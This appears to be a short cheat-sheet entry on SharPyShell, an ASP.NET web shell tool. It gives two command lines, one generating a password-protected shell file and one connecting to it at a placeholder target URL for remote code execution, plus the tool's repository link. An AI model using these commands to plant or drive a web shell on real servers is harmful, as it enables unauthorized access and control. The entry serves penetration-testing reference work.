It can help gain a bind or reverse connection to spawn an (psuedo-)interactive prompt for code execution.
Generate:
python SharPyShell.py generate -p 'somepassword'
Interact:
python SharPyShell.py interact -u 'http://target.url/sharpyshell.aspx' -p 'somepassword'
https://github.com/antonioCoco/SharPyShell